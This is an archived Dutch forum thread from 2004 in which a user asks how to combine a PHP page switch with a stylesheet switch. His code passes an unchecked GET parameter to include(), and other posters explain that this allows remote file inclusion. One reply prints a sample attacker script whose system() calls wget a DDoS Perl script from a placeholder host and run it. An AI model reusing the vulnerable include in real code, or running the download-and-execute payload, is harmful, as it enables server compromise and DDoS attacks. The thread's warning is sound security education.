PDA

Bekijk Volledige Versie : php switch



Edwin van der Vaart
14/11/04, 14:25
Goede dag alle,

Op www.evandervaart.nl maak ik gebruik van een php switch om alleen de
tekst gedeelte te laten veranderen.
Ik heb de volgende script.
<?php
$p = $_GET['page1'];
if (!isset($p)) { $p = 'page1'; }
?>

Ergens op de pagina
<ul>
<li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
</ul>

Verder op de pagina
<?php include("{$p}.php"); ?>

Ik probeer op dezelfde pagina de style sheet te laten veranderen met de
php switch.
Hoe kan ik de code van de style sheet switch en de php switch combineren?
Hoe ziet de link naar de volgende pagina eruit?
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Nico Schuyt
15/11/04, 12:25
Edwin van der Vaart wrote:
> Op www.evandervaart.nl maak ik gebruik van een php switch om alleen de
> tekst gedeelte te laten veranderen.
> Ik heb de volgende script.
> <?php
> $p = $_GET['page1'];
> if (!isset($p)) { $p = 'page1'; }
> Ergens op de pagina
> <ul>
> <li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
> </ul>
> Verder op de pagina
> <?php include("{$p}.php"); ?>

> Ik probeer op dezelfde pagina de style sheet te laten veranderen met
> de php switch.
> Hoe kan ik de code van de style sheet switch en de php switch
> combineren?

Wellicht iets als:
<link rel="stylesheet" type="text/css" href="<? if ($p=="") {echo
"style.css";}else{echo "special.css";) ?>" media="all">

> Hoe ziet de link naar de volgende pagina eruit?

Welke link??

--
Nico
http://www.nicoschuyt.nl

Edwin van der Vaart
16/11/04, 20:45
Nico Schuyt wrote:
> Edwin van der Vaart wrote:
>
>>Op www.evandervaart.nl maak ik gebruik van een php switch om alleen de
>>tekst gedeelte te laten veranderen.
>>Ik heb de volgende script.
>><?php
>>$p = $_GET['page1'];
>>if (!isset($p)) { $p = 'page1'; }
>>Ergens op de pagina
>><ul>
>><li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
>></ul>
>>Verder op de pagina
>><?php include("{$p}.php"); ?>
>
>
>>Ik probeer op dezelfde pagina de style sheet te laten veranderen met
>>de php switch.
>>Hoe kan ik de code van de style sheet switch en de php switch
>>combineren?
>
> Wellicht iets als:
> <link rel="stylesheet" type="text/css" href="<? if ($p=="") {echo
> "style.css";}else{echo "special.css";) ?>" media="all">
Als ik op deze manier doe. Dan krijgt de bezoeker special.css, als
zij/hij naar een andere pagina gaat.
De bezoeker heeft geen mogelijkheid om terug te gaan naar de orginele
style sheet.

Wat ik eigenlijk wilde is.
Dat de bezoeker kan kiezen uit verschillende style sheets d.m.v. een php
switch.

>>Hoe ziet de link naar de volgende pagina eruit?
>
> Welke link??
Bijv. index.php?page1=page2
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Nico Schuyt
16/11/04, 20:45
Edwin van der Vaart wrote:
> Nico Schuyt wrote:
>> Edwin van der Vaart wrote:

>>> Op www.evandervaart.nl maak ik gebruik van een php switch om alleen
>>> de tekst gedeelte te laten veranderen.
>>> Ik heb de volgende script.
>>> <?php
>>> $p = $_GET['page1'];
>>> if (!isset($p)) { $p = 'page1'; }
>>> Ergens op de pagina
>>> <ul>
>>> <li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
>>> </ul>
>>> Verder op de pagina
>>> <?php include("{$p}.php"); ?>
>>> Ik probeer op dezelfde pagina de style sheet te laten veranderen met
>>> de php switch.
>>> Hoe kan ik de code van de style sheet switch en de php switch
>>> combineren?

>> Wellicht iets als:
>> <link rel="stylesheet" type="text/css" href="<? if ($p=="") {echo
>> "style.css";}else{echo "special.css";) ?>" media="all">
> Als ik op deze manier doe. Dan krijgt de bezoeker special.css, als
> zij/hij naar een andere pagina gaat.
> De bezoeker heeft geen mogelijkheid om terug te gaan naar de orginele
> style sheet.

Dan snap ik het niet. Je bedoeling was toch om een ander tekstfragment te
tonen op de index.php en tegelijk op diezelfde pagina de CSS te wijzigen?
Met de code snippet die ik opgaf wordt de stylesheet op index.php gewijzigd
als je variabele page1 opgeeft en je had zelf al gezorgd voor een include
van een andere tekst.

> Wat ik eigenlijk wilde is.
> Dat de bezoeker kan kiezen uit verschillende style sheets d.m.v. een
> php switch.

Tja, met de link naar index.php?page1=page2 verandert zowel de tekst als de
stijl

--
Nico
http://www.nicoschuyt.nl

Edwin van der Vaart
17/11/04, 21:25
Nico Schuyt wrote:
>
> Dan snap ik het niet. Je bedoeling was toch om een ander tekstfragment te
> tonen op de index.php en tegelijk op diezelfde pagina de CSS te wijzigen?
De is eigenlijk niet de bedoeling.
Misschien had ik het anders moeten formuleren.
De bedoeling is, dat er 2 php switches komen. 1 voor veranderen van de
tekstfragment en 1 voor de style sheet.

> Met de code snippet die ik opgaf wordt de stylesheet op index.php gewijzigd
> als je variabele page1 opgeeft en je had zelf al gezorgd voor een include
> van een andere tekst.
De include is een onderdeel van de php switch.
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Michiel de Roo
18/11/04, 14:55
Edwin van der Vaart wrote:
> Goede dag alle,
>
> Op www.evandervaart.nl maak ik gebruik van een php switch om alleen de
> tekst gedeelte te laten veranderen.
> Ik heb de volgende script.
> <?php
> $p = $_GET['page1'];
> if (!isset($p)) { $p = 'page1'; }
> ?>
>
> Ergens op de pagina
> <ul>
> <li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
> </ul>
>
> Verder op de pagina
> <?php include("{$p}.php"); ?>

Heb je je wel eens afgevraagd wat er gebeurt als ik deze pagina aanroep met:

index.php?page1=http://www.mijnsite.invalid/mijnscript

Hint: Een hacker vind dit errug leuk........

Edwin van der Vaart
19/11/04, 14:25
Michiel de Roo wrote:
> Edwin van der Vaart wrote:
>
>> Goede dag alle,
>>
>> Op www.evandervaart.nl maak ik gebruik van een php switch om alleen de
>> tekst gedeelte te laten veranderen.
>> Ik heb de volgende script.
>> <?php
>> $p = $_GET['page1'];
>> if (!isset($p)) { $p = 'page1'; }
>> ?>
>>
>> Ergens op de pagina
>> <ul>
>> <li><a class="sub" href="index.php?page1=page2">Over mij</a></li>
>> </ul>
>>
>> Verder op de pagina
>> <?php include("{$p}.php"); ?>
>
>
> Heb je je wel eens afgevraagd wat er gebeurt als ik deze pagina aanroep
> met:
>
> index.php?page1=http://www.mijnsite.invalid/mijnscript
Dan krijg je een pagina in een pagina.

> Hint: Een hacker vind dit errug leuk........
En waarom??
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Nico Schuyt
19/11/04, 21:55
Edwin van der Vaart wrote:
> Michiel de Roo wrote:
>> Edwin van der Vaart wrote:

>>> $p = $_GET['page1'];
>>> <?php include("{$p}.php"); ?>

>> Heb je je wel eens afgevraagd wat er gebeurt als ik deze pagina
>> aanroep met:
>> index.php?page1=http://www.mijnsite.invalid/mijnscript
>> Hint: Een hacker vind dit errug leuk........

> En waarom??

Wellicht omdat die hacker een pagina met script kan activeren via jou site
:-)

--
Nico
http://www.nicoschuyt.nl

Edwin van der Vaart
19/11/04, 22:25
Nico Schuyt wrote:
> Edwin van der Vaart wrote:
>>Michiel de Roo wrote:
>>>
>>>Hint: Een hacker vind dit errug leuk........
>
>>En waarom??
>
> Wellicht omdat die hacker een pagina met script kan activeren via jou site
Maar dan moet ie wel eerst die script uploaden naar mijn webhosting.
Omdat te doen moet ie eerst mijn wachtwoord weten om te kunnen uploaden.

Bovendien hacken bij banken, etc. is veel leuker dan hacken bij burgers.
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Nico Schuyt
19/11/04, 22:45
Edwin van der Vaart wrote:
> Bovendien hacken bij banken, etc. is veel leuker dan hacken bij
> burgers.

Zo is dat.
Goed nieuws overigens: Neredbojias is back in town: alt.html thread 'which
HTML editor do you use?'
--
Nico
http://www.nicoschuyt.nl

Edwin van der Vaart
19/11/04, 23:35
Nico Schuyt wrote:
> Edwin van der Vaart wrote:
>
>>Bovendien hacken bij banken, etc. is veel leuker dan hacken bij
>>burgers.
>
> Zo is dat.
> Goed nieuws overigens: Neredbojias is back in town: alt.html thread 'which
> HTML editor do you use?'
Dat weet ik al , dat Neredboijas terug is.
zie OT: Neredbojias
http://groups.google.nl/groups?hl=nl&lr=&threadm=Xjqed.821%24mm6.392%40amstwist00&rnum=1&prev=/groups%3Fhl%3Dnl%26lr%3D%26selm%3DXjqed.821%2524mm 6.392%2540amstwist00
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Edwin van der Vaart
19/11/04, 23:35
hallo wrote:
> Edwin van der Vaart wrote:
>
>
>>Maar dan moet ie wel eerst die script uploaden naar mijn
>>webhosting.
>
>
> Nee hoor...
> <url>
In dit geval zijn het geen hackers maar spammers.
--
Edwin van der Vaart
http://www.semi-conductor.nl/ Links to Semiconductors site
http://www.evandervaart.nl/ Under construction

Michiel de Roo
15/12/04, 16:55
Nico Schuyt wrote:
> Edwin van der Vaart wrote:
>
>>Bovendien hacken bij banken, etc. is veel leuker dan hacken bij
>>burgers.
>
>
> Zo is dat.

Zo is het dus niet. Hij hoeft niets te uploaden. En het het maakt iemand
die een ddos attack wil uitvoeren echt niets uit of jouw site van een bank
is of de plaatselijke wandelvereniging. Ik geef je hier nog even een
voorbeeldje van http://www.mijnsite.invalid/mijnscript.php

<?
system('wget -O /tmp/ddos.pl http://mijsite.invalid/ddos.pl');
system('perl /tmp/ddos.pl');
?>

voila, weer een ddosser erbij. Het had ook een spam robot kunnen zijn of
telnet daemon of weet ik wat voor ongein.

De clue is natuurlijk dat de php code in het script op MIJN server
uitgevoerd wordt op JOUW server. Dat is gevaarlijk. Ik heb deze hacks in
mijn begindagen op mijn eigen server toegepast gezien en weet dus (helaas)
uit eigen ervaring waar ik het over heb.

> Goed nieuws overigens: Neredbojias is back in town: alt.html thread 'which
> HTML editor do you use?'